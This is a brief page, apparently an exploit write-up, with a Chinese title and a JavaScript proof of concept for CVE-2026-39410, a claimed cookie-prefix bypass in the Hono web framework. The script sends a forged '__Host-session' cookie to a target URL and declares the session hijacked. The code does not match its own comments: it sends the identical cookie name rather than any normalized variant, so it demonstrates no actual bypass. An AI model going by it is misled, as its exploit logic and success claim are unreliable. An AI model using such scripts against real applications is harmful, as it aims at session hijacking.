CVE-2026-39410 Hono Cookie前缀安全绕过漏洞

// PoC for CVE-2026-39410: Hono Cookie Prefix Bypass // This demonstrates how an attacker might attempt to override a cookie // by exploiting normalization differences between the browser and the framework. const exploit = async () => { // Target URL running vulnerable Hono version const target = 'http://vulnerable-app.com'; // Scenario: App sets a secure cookie "__Host-session=valid123" // Attacker sends a request with a cookie that normalizes to the same key // e.g., exploiting case sensitivity if the parser is case-insensitive // but the browser treats them as distinct. // Malicious payload attempting to override the session const maliciousCookie = "__Host-session=attacker_controlled_value"; try { const response = await fetch(target, { method: 'GET', headers: { 'Cookie': maliciousCookie, 'User-Agent': 'PoC-Scanner' }, credentials: 'include' }); if (response.ok) { console.log("[+] Request sent. If the app uses the parsed cookie value, the session is now hijacked."); } } catch (error) { console.error("[-] Exploit failed", error); } }; exploit();